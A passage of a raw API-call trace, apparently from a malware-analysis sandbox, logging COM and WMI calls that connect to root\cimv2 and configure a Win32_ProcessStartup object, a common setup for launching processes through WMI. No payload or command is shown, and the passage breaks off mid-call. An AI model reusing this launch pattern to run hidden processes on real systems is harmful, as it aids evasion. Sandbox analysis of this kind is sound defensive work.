IUnknown:Release (This=0x1a943398) returned 0x1 [0126.858] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1a9f61d0) returned 0x0 [0126.858] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9f61d0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0126.858] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9f61d0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1a980b10) returned 0x0 [0126.858] WbemDefPath:IUnknown:Release (This=0x1a9f61d0) returned 0x0 [0126.858] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980b10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1a980b10) returned 0x0 [0126.858] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980b10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0126.858] WbemDefPath:IUnknown:AddRef (This=0x1a980b10) returned 0x3 [0126.858] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980b10, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0126.858] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980b10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0126.858] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980b10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1a9f6210) returned 0x0 [0126.859] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9f6210, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.859] WbemDefPath:IUnknown:Release (This=0x1a9f6210) returned 0x3 [0126.859] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0126.859] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0126.859] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980b10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0126.859] WbemDefPath:IUnknown:Release (This=0x1a980b10) returned 0x2 [0126.859] WbemDefPath:IUnknown:Release (This=0x1a980b10) returned 0x1 [0126.859] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0126.859] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0126.859] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980b10, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1a980b10) returned 0x0 [0126.859] WbemDefPath:IUnknown:AddRef (This=0x1a980b10) returned 0x3 [0126.859] WbemDefPath:IUnknown:Release (This=0x1a980b10) returned 0x2 [0126.859] WbemDefPath:IWbemPath:SetText (This=0x1a980b10, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0126.859] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980b10, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0126.859] WbemDefPath:IWbemPath:GetText (in: This=0x1a980b10, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0126.859] WbemDefPath:IWbemPath:GetText (in: This=0x1a980b10, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.859] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0126.859] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0126.859] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0126.859] IUnknown:Release (This=0x1a943398) returned 0x1 [0126.860] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1a9f6310) returned 0x0 [0126.860] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9f6310, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0126.860] WbemLocator:IClassFactory:CreateInstance (in: This=0x1a9f6310, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1a9f6330) returned 0x0 [0126.860] WbemLocator:IUnknown:Release (This=0x1a9f6310) returned 0x0 [0126.861] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9f6330, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1a9f6330) returned 0x0 [0126.861] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9f6330, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0126.861] WbemLocator:IUnknown:AddRef (This=0x1a9f6330) returned 0x3 [0126.861] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9f6330, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0126.861] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9f6330, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0126.861] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9f6330, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0126.861] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0126.861] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0126.861] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9f6330, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0126.861] WbemLocator:IUnknown:Release (This=0x1a9f6330) returned 0x2 [0126.861] WbemLocator:IUnknown:Release (This=0x1a9f6330) returned 0x1 [0126.861] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0126.861] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0126.861] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9f6330, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1a9f6330) returned 0x0 [0126.861] WbemLocator:IUnknown:AddRef (This=0x1a9f6330) returned 0x3 [0126.861] WbemLocator:IUnknown:Release (This=0x1a9f6330) returned 0x2 [0126.861] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980b10, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0126.861] WbemDefPath:IWbemPath:GetText (in: This=0x1a980b10, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0126.861] WbemDefPath:IWbemPath:GetText (in: This=0x1a980b10, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.861] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1a9f6350) returned 0x0 [0126.862] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1a9f6350, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1a9e2fe0) returned 0x0 [0126.978] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2fe0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1aa021a0) returned 0x0 [0126.979] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa021a0, pProxy=0x1a9e2fe0, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0126.979] WbemLocator:IUnknown:Release (This=0x1aa021a0) returned 0x1 [0126.979] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2fe0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1aa021e0) returned 0x0 [0126.979] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2fe0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1aa021a0) returned 0x0 [0126.979] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa021a0, pProxy=0x1a9e2fe0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0126.979] WbemLocator:IUnknown:Release (This=0x1aa021a0) returned 0x2 [0126.979] WbemLocator:IUnknown:Release (This=0x1aa021e0) returned 0x1 [0126.979] CoTaskMemFree (pv=0x1a9eff60) [0126.979] WbemLocator:IUnknown:AddRef (This=0x1a9e2fe0) returned 0x2 [0126.979] WbemLocator:IUnknown:Release (This=0x1a9f6350) returned 0x0 [0126.980] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0126.980] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0126.980] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2fe0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1aa021b0) returned 0x0 [0126.980] WbemLocator:IRpcOptions:Query (in: This=0x1aa021b0, pPrx=0x1a9f63b0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0126.980] WbemLocator:IUnknown:Release (This=0x1aa021b0) returned 0x2 [0126.980] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0126.980] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0126.980] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e2fe0, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1a9e2fe0) returned 0x0 [0126.980] WbemLocator:IUnknown:Release (This=0x1a9e2fe0) returned 0x2 [0126.981] SysStringLen (param_1=0x0) returned 0x0 [0126.981] WbemDefPath:IWbemPath:GetText (in: This=0x1a980a50, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0126.981] WbemDefPath:IWbemPath:GetText (in: This=0x1a980a50, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0126.981] IWbemServices:GetObject (in: This=0x1a9e2fe0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1aa01960, ppCallResult=0x0) returned 0x0 [0126.983] IWbemClassObject:Get (in: This=0x1aa01960, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0126.983] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0126.983] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0126.983] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0126.983] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0126.983] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0126.983] IUnknown:Release (This=0x1a943398) returned 0x1 [0126.985] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1a9f6350) returned 0x0 [0126.985] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9f6350, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0126.985] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9f6350, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1a980bd0) returned 0x0 [0126.986] WbemDefPath:IUnknown:Release (This=0x1a9f6350) returned 0x0 [0126.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980bd0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1a980bd0) returned 0x0 [0126.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980bd0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0126.986] WbemDefPath:IUnknown:AddRef (This=0x1a980bd0) returned 0x3 [0126.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980bd0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0126.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980bd0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0126.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980bd0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1a9f6370) returned 0x0 [0126.986] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9f6370, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.986] WbemDefPath:IUnknown:Release (This=0x1a9f6370) returned 0x3 [0126.986] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0126.986] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0126.986] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980bd0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0126.987] WbemDefPath:IUnknown:Release (This=0x1a980bd0) returned 0x2 [0126.987] WbemDefPath:IUnknown:Release (This=0x1a980bd0) returned 0x1 [0126.987] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0126.987] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0126.987] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980bd0, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1a980bd0) returned 0x0 [0126.987] WbemDefPath:IUnknown:AddRef (This=0x1a980bd0) returned 0x3 [0126.987] WbemDefPath:IUnknown:Release (This=0x1a980bd0) returned 0x2 [0126.987] WbemDefPath:IWbemPath:SetText (This=0x1a980bd0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0126.987] IWbemClassObject:Get (in: This=0x1aa01960, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2781c50*=0, plFlavor=0x2781c54*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2781c50*=19, plFlavor=0x2781c54*=0) returned 0x0 [0126.987] IWbemClassObject:Get (in: This=0x1aa01960, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2781c50*=19, plFlavor=0x2781c54*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2781c50*=19, plFlavor=0x2781c54*=0) returned 0x0 [0126.987] IWbemClassObject:Put (This=0x1aa01960, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0126.987] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980990, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0126.987] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0126.987] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0126.987] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.987] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, 